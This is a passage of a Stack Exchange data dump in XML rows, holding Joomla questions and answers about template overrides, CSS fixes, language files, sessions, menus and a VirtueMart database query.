  <row Id="24983" PostTypeId="1" CreationDate="2019-07-29T11:42:20.533" Score="0" ViewCount="568" Body="&lt;p&gt;I want to override the login page (com_users/login). I want to add new class to the 2 fields (username and password) and also if possible to change the structure from &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label&amp;gt;&amp;lt;/label&amp;gt;&#xA;&amp;lt;input&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label&amp;gt;&amp;lt;input&amp;gt;&amp;lt;label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in the &lt;code&gt;templates/template/html/com_users/login/default_login.php&lt;/code&gt; they are called like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $ this-&amp;gt; form-&amp;gt; renderFieldset ('credentials');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found that the fields are loaded from this file &lt;code&gt;/components/com_users/models/forms/login.xml&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to copy that file to &#xA;&lt;code&gt;templates/template/code/com_users/models/forms/login.xml&lt;/code&gt; but still doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody can help me?&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2021-08-20T13:00:35.050" Title="Template override form fields in com_user" Tags="|template-override|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24984" PostTypeId="1" CreationDate="2019-07-29T14:26:35.040" Score="0" ViewCount="33" Body="&lt;p&gt;My website works with a main menu whose tabs are directly linked to K2 Articles / Categories of K2 Articles. The article(s) all nicely show if a given menu tab is chosen, BUT when an article is opened, that article opens up on the same page you already are, instead of opening on a separate site, with only the article's content (and general stuff as main menu, etc.) displayed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I configure Joomla to show up clicked K2 Articles on new and not on the same page ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more illustrative; imagine the following page layout (which works):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4UfDI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4UfDI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's say you click on the first article (&quot;K2 Article 1&quot;). Then, what happens is the following (same happens for all the other articles of course):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EzIMG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EzIMG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the article is displayed on the same page, below the title image and the introductory text of the page. I however want an article to be displayed like that if someone clicks on it (on a new page, getting rid of the title image and the intro text to display an article, as below):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ooQi5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ooQi5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="13652" LastEditorUserId="13652" LastEditDate="2019-07-30T06:57:53.163" LastActivityDate="2019-07-30T06:57:53.163" Title="Display clicked K2 Article on new page, and not on page you already are" Tags="|joomla-3.x|k2|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24985" PostTypeId="1" CreationDate="2019-07-29T20:40:21.733" Score="1" ViewCount="301" Body="&lt;p&gt;I'm currently evaluating the different gallery extensions and there are lots of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a simple gallery with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;frontend upload of bulk images while you're creating an article&lt;/li&gt;&#xA;&lt;li&gt;automated thumbnail creation&lt;/li&gt;&#xA;&lt;li&gt;easy insert into content articles with editor button&lt;/li&gt;&#xA;&lt;li&gt;the normal gallery view with categories&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there something in this direction or can I search for a long time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked into the following extensions, but none of them satisfied completely:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Phoca Gallery&lt;/li&gt;&#xA;&lt;li&gt;Simple Image Gallery&lt;/li&gt;&#xA;&lt;li&gt;SIGE&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At the moment, it feels like JCE or JCE in combination with an Image Gallery might be the best way.&lt;/p&gt;&#xA;" OwnerUserId="13188" LastEditorUserId="12352" LastEditDate="2019-07-29T21:29:49.933" LastActivityDate="2019-07-31T00:19:59.330" Title="Image Gallery with frontend upload" Tags="|extensions|phocagallery|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24986" PostTypeId="1" AcceptedAnswerId="24988" CreationDate="2019-07-29T23:28:23.360" Score="1" ViewCount="35" Body="&lt;p&gt;I have a WARP6 Joomlaplates' JP-X2 template and I'm on a latest version of Joomla. I used to have a big bg image of a lady on every site page. So one has to scroll down to see the actual pages' content. So I decided to leave the lady bg image just on a main page and to remove it from the other pages. In backend of Joomla in Template Manager in current template's settings I have a way of assigning a bg image just for a main page. So now it's there (and it's fine!), BUT... on the rest of the pages I see a huge and ugly white space where the lady's image used to be. And I don't know why white space is there and how to get rid of it. Here's the link to the site:&#xA;&lt;a href=&quot;https://apostasia.ru/ru/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Site's main page&lt;/a&gt;&#xA;I'll attach two image files to demonstrate the problem. Like how it is with a bg image and how it is without it. Plus I'll attach current template's custom.css file. Here's a link to custom.css file:&#xA;&lt;a href=&quot;http://apostasia.ru/templates/jp-x2/css/custom.css&quot; rel=&quot;nofollow noreferrer&quot;&gt;template's custom.css file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rosVR.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rosVR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2O7sm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2O7sm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11321" LastEditorUserId="11321" LastEditDate="2019-07-29T23:38:56.247" LastActivityDate="2019-07-30T10:33:49.107" Title="Need help in removing a bg image" Tags="|joomla-3.x|css|jhtml|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24987" PostTypeId="2" ParentId="24985" CreationDate="2019-07-30T00:18:40.357" Score="4" Body="&lt;p&gt;I went through a review of Gallery extensions a couple of years ago with similar requirements and loaded up Phoca, JoomGallerry to test but eventually settled on Ignite Gallery from NZ. Ignite can do the resizing on the client before the upload, using PLUP(?) and was intuitive to set up, support was quick, it had plenty of options but seemed clean and modern. Phoca and JoomGallery have been around a long time and felt a bit dated from memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of what has already been mentioned, I don't recall looking at Droppics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be nice to find a better way to categorise the extensions calling themselves Gallery Extensions as some were fully featured extensions that handle uploading, ACL, category management and presentation(eg. Ignite, JoomGallery, Phoca) and inserting to editors while others really just presented images in a customisable way like Simple Image Gallery, SIGE and a plethora of forgettable ones.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Terry&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2019-07-31T00:19:59.330" LastActivityDate="2019-07-31T00:19:59.330" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24988" PostTypeId="2" ParentId="24986" CreationDate="2019-07-30T10:33:49.107" Score="1" Body="&lt;p&gt;There's probably an easier way but you could achieve the desired result as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a page class for the home page e.g. &lt;code&gt;home-page&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;custom.css&lt;/code&gt; file, replace this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.header-outer {background: #fff url(https://apostasia.ru/images/1.jpg) no-repeat top center;background-size: cover;height: 100vh;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.header-outer {&#xA;    background: none;&#xA;    height: 0;&#xA;}&#xA;&#xA;.home-page .header-outer {&#xA;    background: #fff url(https://apostasia.ru/images/1.jpg) no-repeat top center;&#xA;    background-size: auto;&#xA;    background-size: cover;&#xA;    height: 100vh;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will hide the image on all pages except the Home page.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2019-07-30T10:33:49.107" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24989" PostTypeId="1" CreationDate="2019-07-31T09:14:15.500" Score="1" ViewCount="58" Body="&lt;p&gt;I have a website using three languages, and the website includes a webshop via the Joomshopping component. The translation of the products and all worked, but the things controlled by the joomshop - module (as the label for &quot;go to chart&quot;, etc.) are not working for the shopping in french (displayed in english). I thus checked under components/com_jshopping/lang, and weirdly found the following three files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;de-DE.php (setting translations of labels &amp;amp; other general stuff to german)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;en-GB.php (setting translations of labels &amp;amp; other general stuff to english)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ru-RU.php (setting translations of labels &amp;amp; other general stuff to russian)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So weirdly, the php-file for russian is in my ftp-server, but not the one for French. When I rename the ru-RU.php-file to fr-FR.php, labels and stuff are displayed in russian when I switch to french in the frontend shop, so that's defo the problem. So; does one of you guys may know why this happened, or does anyone have the fr-FR.php-file for the joomshopping ready under components/com_jshopping/lang; such that I could copy it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="13652" LastActivityDate="2019-07-31T10:11:54.940" Title="Joomshopping in Joomla - Wrong php-file assigned" Tags="|joomla-3.x|php|joomshopping|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24990" PostTypeId="2" ParentId="23597" CreationDate="2019-07-31T09:16:32.737" Score="0" Body="&lt;p&gt;When floating elements left and right, it sometimes helps to clear the floats after each section to keep elements from overlapping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand the problem correctly, the solution may be to add a div statement like this after each image and the text that goes with it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div style=&quot;clear: both; line-height: 0;&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2019-07-31T09:16:32.737" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24991" PostTypeId="2" ParentId="24989" CreationDate="2019-07-31T09:41:02.460" Score="2" Body="&lt;p&gt;So as Lodder answered guys, you can download all the language / translation php-files for joomshop via this link &lt;a href=&quot;https://www.webdesigner-profi.de/joomla-webdesign/joomla-shop/downloads/languages.html?lang=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.webdesigner-profi.de/joomla-webdesign/joomla-shop/downloads/languages.html?lang=en&lt;/a&gt; (registering (free) required for the download).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;unzip the downloaded zip-file of your language, and look for the php-file under JoomShopping-lang-YOURLANGUAGE-YOURVERSION-full / components / com_jshopping / lang. Take it and copy it into your ftp-server on components/com_jshopping/lang, and make sure that the name of the php-file (e.g. fr-FR.php) matches with the language tag assigned to the desired language in joomla (in this case with the tag fr-FR for french). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I did this it all worked.&lt;/p&gt;&#xA;" OwnerUserId="13652" LastEditorUserId="13652" LastEditDate="2019-07-31T10:11:54.940" LastActivityDate="2019-07-31T10:11:54.940" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24993" PostTypeId="2" ParentId="24983" CreationDate="2019-08-01T07:55:51.703" Score="1" Body="&lt;p&gt;To change field attributes you have to modify the form. This is normally done using a plugin with &lt;code&gt;onContentPrepareForm&lt;/code&gt; event. But if the changes are only cosmetic I guess this could be done in the layout too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add another class to &lt;code&gt;username&lt;/code&gt; field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;form-&amp;gt;setFieldAttribute('username', 'class', $this-&amp;gt;form-&amp;gt;getFieldAttribute('username', 'class') . ' myClass');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To change how fields are rendered make overrides of &lt;code&gt;layouts/joomla/form/renderfield.php&lt;/code&gt; and &lt;code&gt;layouts/joomla/form/renderlabel.php&lt;/code&gt;. Layout overrides can be global or component-specific. If you want to make the changes only to &lt;code&gt;com_users&lt;/code&gt; place the overrides in &lt;code&gt;templates/your_template/layouts/com_users/joomla/form&lt;/code&gt;. Note, this will affect all forms in &lt;code&gt;com_users&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-08-01T07:55:51.703" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24994" PostTypeId="1" CreationDate="2019-08-01T14:02:47.233" Score="0" ViewCount="29" Body="&lt;p&gt;I am trying to create a custom backend page in the same layout as Joomla. So none of the buttons have to work since I am going to be writing my own code, the only exception to that is the logout button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make the logout button work on a copied joomla backend page (in my example I copied the articles overview source code) and also make sure that when logged out this copied page is not accesible and shows the joomla login page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Joomla 3.&lt;/p&gt;&#xA;" OwnerUserId="12088" LastActivityDate="2019-08-01T20:09:43.407" Title="How can I create a custom joomla backend clone that works with the same sessions" Tags="|joomla-3.x|custom-component|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24995" PostTypeId="1" CreationDate="2019-08-01T18:02:16.720" Score="3" ViewCount="203" Body="&lt;p&gt;I'm using &lt;strong&gt;JSession&lt;/strong&gt; &lt;em&gt;(in Joomla 3.9.x)&lt;/em&gt; to implement sort of a &lt;em&gt;captcha field&lt;/em&gt; in a form, apparently the captcha code is been saved correctly in the session but I can't find the way to retrieve it, and when I'm trying to find how to use it in the Joomla Documentation, I got to API archived pages &lt;em&gt;(what does &quot;archived&quot; mean?, that they are from older Joomla version?, then how / where do I search for the current version documentation?)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the file structure I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;| - views/&#xA;| - | - form/&#xA;| - | - captcha/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... then in the &lt;strong&gt;form&lt;/strong&gt; (&lt;code&gt;./views/form/tmpl/default.php&lt;/code&gt;) I'm calling the captcha in this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php echo JURI::root(); ?&amp;gt;index.php?option=my_component&amp;amp;view=captcha&amp;amp;format=raw&quot; width=&quot;120&quot; height=&quot;40&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... in the &lt;code&gt;display&lt;/code&gt; method of the &lt;strong&gt;captcha&lt;/strong&gt; view (&lt;code&gt;./views/captcha/view.raw.php&lt;/code&gt;), after generating the random code I'm saving it this way &lt;em&gt;(following this &lt;a href=&quot;https://stackoverflow.com/a/18539175&quot;&gt;answer&lt;/a&gt;)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$session-&amp;gt;clear('myCaptchaCode');&#xA;$session-&amp;gt;set('myCaptchaCode', $myRandomGeneratedCode);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then &lt;em&gt;(here it comes!)&lt;/em&gt; when I'm testing my session variables in the &lt;strong&gt;form&lt;/strong&gt; (&lt;code&gt;./views/form/tmpl/default.php&lt;/code&gt;), just imagine I refresh the form twice, and when I &lt;code&gt;echo&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the &lt;code&gt;$_SESSION['myCaptchaCode']&lt;/code&gt;, it has the code generated in the previous page;&lt;/li&gt;&#xA;&lt;li&gt;and neither the &lt;code&gt;JFactory::getSession-&amp;gt;get('myCaptchaCode')&lt;/code&gt; nor the &lt;code&gt;JFactory::getSession-&amp;gt;set('myCaptchaCode')&lt;/code&gt; has the actual &lt;em&gt;(expected)&lt;/em&gt; code, both are empty!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong, what I'm missing?&lt;/p&gt;&#xA;" OwnerUserId="13399" LastActivityDate="2024-01-13T15:06:25.753" Title="How does the JSession works, and how to use it in different files?" Tags="|joomla-3.9|jsession|captcha|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24996" PostTypeId="2" ParentId="24994" CreationDate="2019-08-01T20:09:43.407" Score="1" Body="&lt;p&gt;The link below is a logout link to be used in your backend.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_login&amp;amp;task=logout&amp;amp;' . JSession::getFormToken() . '=1'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo &quot;Logout&quot;; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2019-08-01T20:09:43.407" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24999" PostTypeId="1" CreationDate="2019-08-02T13:00:39.147" Score="1" ViewCount="22" Body="&lt;p&gt;I'm on Joomla 3.9x and trying to make my site multilingual. Currently it's in Dutch (NL) and I'm trying to get it to English (EN-US).&lt;/p&gt;&#xA;&lt;p&gt;Things I've done so far:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Made menu in NL (currently visible)&lt;/li&gt;&#xA;&lt;li&gt;Made new menu for homepage set to ALL&lt;/li&gt;&#xA;&lt;li&gt;Made menu in EN&lt;/li&gt;&#xA;&lt;li&gt;All menu items, categories, modules have been set to NL and then copied and set to EN&lt;/li&gt;&#xA;&lt;li&gt;Tried adding Language Switcher module in both languages. It will switch from NL to EN, but not back.&lt;/li&gt;&#xA;&lt;li&gt;Associated all relevant articles with NL to EN&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I've heard of Falang, but from what I understand (and please correct me if I'm wrong), it is more of a translator than a switcher? Meaning, it will automatically translate my text. If that's the case, I definitely DON'T want that.&lt;/p&gt;&#xA;" OwnerUserId="13673" LastEditorUserId="12352" LastEditDate="2023-01-27T12:26:55.993" LastActivityDate="2023-01-27T12:26:55.993" Title="Need help getting website multilingual" Tags="|language|translation|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25001" PostTypeId="1" AcceptedAnswerId="25002" CreationDate="2019-08-03T06:17:28.510" Score="3" ViewCount="65" Body="&lt;p&gt;I am a total beginner in Joomla. &#xA;I found that the security patch for the following vulnerability was fixed in 3.9.9:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Filter attribute in subform fields allows remote code execution&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But I am not finding the code changes in Joomla that fixes this vulnerability. Anyone know if it is possible to check the code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the Joomla website the CVE Number is: TBA. &lt;/p&gt;&#xA;" OwnerUserId="13677" LastEditorUserId="12352" LastEditDate="2019-08-03T07:54:04.217" LastActivityDate="2019-08-03T12:39:57.140" Title="What are the code changes for the Security patch vulnerability in 3.9.9" Tags="|security|joomla-3.9|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25002" PostTypeId="2" ParentId="25001" CreationDate="2019-08-03T12:39:57.140" Score="3" Body="&lt;p&gt;Changes for security patches are normally hidden further down in the commit history or sometimes in the actual release commit to throw people off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, the security patch is in the release commit, which you can see here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/commit/d34a3ecd2d00a3a5119ac0fadadab7f7211e145b?fbclid=IwAR2nh9DBeoMd_DHS-aL-CjBWofZ6VR1Nsewxm7Fgb-6kiOdHo_SSvrJCQU0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/commit/d34a3ecd2d00a3a5119ac0fadadab7f7211e145b?fbclid=IwAR2nh9DBeoMd_DHS-aL-CjBWofZ6VR1Nsewxm7Fgb-6kiOdHo_SSvrJCQU0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally I wouldn't post information on security patches like this, but seeing as Joomla 3.9.9 was released about a month ago, it should be fine.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2019-08-03T12:39:57.140" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25003" PostTypeId="2" ParentId="22795" CreationDate="2019-08-04T14:24:12.043" Score="0" Body="&lt;p&gt;you can add a hint field in your xlm or you can add a hint value on the fly in your code&#xA;here :  $field-&gt;hint = some text; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($this-&amp;gt;form-&amp;gt;getFieldset($fieldset-&amp;gt;name) as $name =&amp;gt; $field) : &#xA;    $field-&amp;gt;hint = JText::_('COM_NAME_FORM_HINT_' . strtoupper($field-&amp;gt;fieldname));?&amp;gt;&#xA;    &amp;lt;?php if ($field-&amp;gt;hidden === false) : ?&amp;gt;&#xA;        &amp;lt;div class=&quot;sc-group&quot;&amp;gt;&#xA;            &amp;lt;?php echo $field-&amp;gt;input; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2143" LastEditorUserId="2143" LastEditDate="2019-08-05T09:11:27.073" LastActivityDate="2019-08-05T09:11:27.073" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25004" PostTypeId="1" CreationDate="2019-08-05T08:35:24.837" Score="0" ViewCount="182" Body="&lt;p&gt;My website has a mega menu dropdown in the main menu which shows up nicely, but the problem is that I had to choose the design for six columns to be able to implement my five desired columns in the megamenu dropdown (options for 4 and 6 columns, but not for 5). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows how to set the amount of columns in my megamenu to 5 ? My template is helix ultimate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another solution would be to center my 5 columns into the body of the dropdown menu initially built with 6 columns, that wouldn't bother me. Anyone ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="13652" LastActivityDate="2019-11-14T15:14:02.867" Title="How to customize amount of columns in Joomla megamenu?" Tags="|joomla-3.x|css|menu|helix3|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25005" PostTypeId="1" CreationDate="2019-08-05T10:04:40.030" Score="2" ViewCount="84" Body="&lt;p&gt;I have a website in three languages, so the main menu doesn't take the same space for all the languages. Because of that, the main menu gets broken up into two lines when the words in the main menu are longer for some languages, which needs to be avoided. Any idea how I can code that the main menu bar switches to my offcanvas menu, as soon as it would break into two main menu lines, one above the other, maybe in CSS? &lt;/p&gt;&#xA;" OwnerUserId="13652" LastActivityDate="2019-08-05T13:40:46.100" Title="Trigger switch from main menu bar to offcanvas menu when main menu would break in two lines?" Tags="|joomla-3.x|css|menu|helix3|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25006" PostTypeId="2" ParentId="25005" CreationDate="2019-08-05T13:33:47.213" Score="2" Body="&lt;p&gt;Actually figured out a way via CSS. Just type the following code into your Custom CSS field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media (max-width:1210 px){&#xA;  .sp-megamenu-parent &amp;gt; li &amp;gt; a {&#xA;    display:none;&#xA;  }&#xA;  #offcanvas-toggler {&#xA;    display: block!important;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This makes your megamenu parent disappear, and your offcanvas toggler appear at a screen size of 1210px and below (which is perfectly the longest size of my main menu in the language with the longest words)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;.sp-megamenu-parent &amp;gt; li &amp;gt; a&lt;/code&gt; and &lt;code&gt;#offcanvas-toggler&lt;/code&gt; are the css-names of my main menu and offcanvas menu respectively; make sure you type in yours to make things work for you equally well. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13652" LastEditorUserId="13652" LastEditDate="2019-08-05T13:40:46.100" LastActivityDate="2019-08-05T13:40:46.100" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25007" PostTypeId="1" AcceptedAnswerId="25011" CreationDate="2019-08-06T14:41:55.943" Score="1" ViewCount="164" Body="&lt;p&gt;For some reason the query I put directly to DB works, but when set in Joomla syntax it is returning only 1 result, and there should be a lot more...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Clear Mysql query:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT &#xA;vmp.virtuemart_product_id as 'product_id',&#xA;vmp.product_parent_id as 'parent_id',&#xA;vmp.product_sku as 'sku',&#xA;vmp.product_in_stock as 'stock',&#xA;vmp.published as 'published',&#xA;pc.virtuemart_category_id as &quot;category&quot;&#xA;FROM `mus_virtuemart_products` as vmp&#xA;JOIN mus_virtuemart_product_categories as pc ON pc.virtuemart_product_id=vmp.product_parent_id&#xA;WHERE vmp.product_parent_id&amp;gt;0 AND pc.virtuemart_category_id=105;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomly query:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select(array(&#xA;                    'vmp.virtuemart_product_id as product_id',&#xA;                    'vmp.product_parent_id as parent_id',&#xA;                    'vmp.product_sku as sku',&#xA;                    'vmp.product_in_stock as stock',&#xA;                    'vmp.published as published',&#xA;                    'pc.virtuemart_category_id as category'&#xA;                    ))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__virtuemart_products','vmp'))&#xA;      -&amp;gt;join('INNER', $db-&amp;gt;quoteName('#__virtuemart_product_categories','pc') . &#xA;        ' ON (' . $db-&amp;gt;quoteName('pc.virtuemart_product_id') . ' = ' . $db-&amp;gt;quoteName('vmp.virtuemart_product_id') . ')')        &#xA;      -&amp;gt;where($db-&amp;gt;quoteName('pc.virtuemart_category_id') . ' = '. $db-&amp;gt;quote($category). ' AND '. $db-&amp;gt;quoteName('vmp.product_parent_id') . ' &amp;gt;0');&#xA;$db-&amp;gt;setQuery($query);&#xA;$podaci = $db-&amp;gt;loadAssocList();&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried various combinations, and am always getting only 1 result.&#xA;I think I have limited the issue to 1 condition in the WHERE clause:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where($db-&amp;gt;quoteName('vmp.product_parent_id') . ' &amp;gt;0');  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried to set &quot;zero&quot; as &lt;code&gt;$db-&amp;gt;quote($zero)&lt;/code&gt; where &lt;code&gt;$zero=&quot;0&quot;&lt;/code&gt;, but didn't change anything.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;UPDATE 1&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;After a few iterations in my code I start getting an 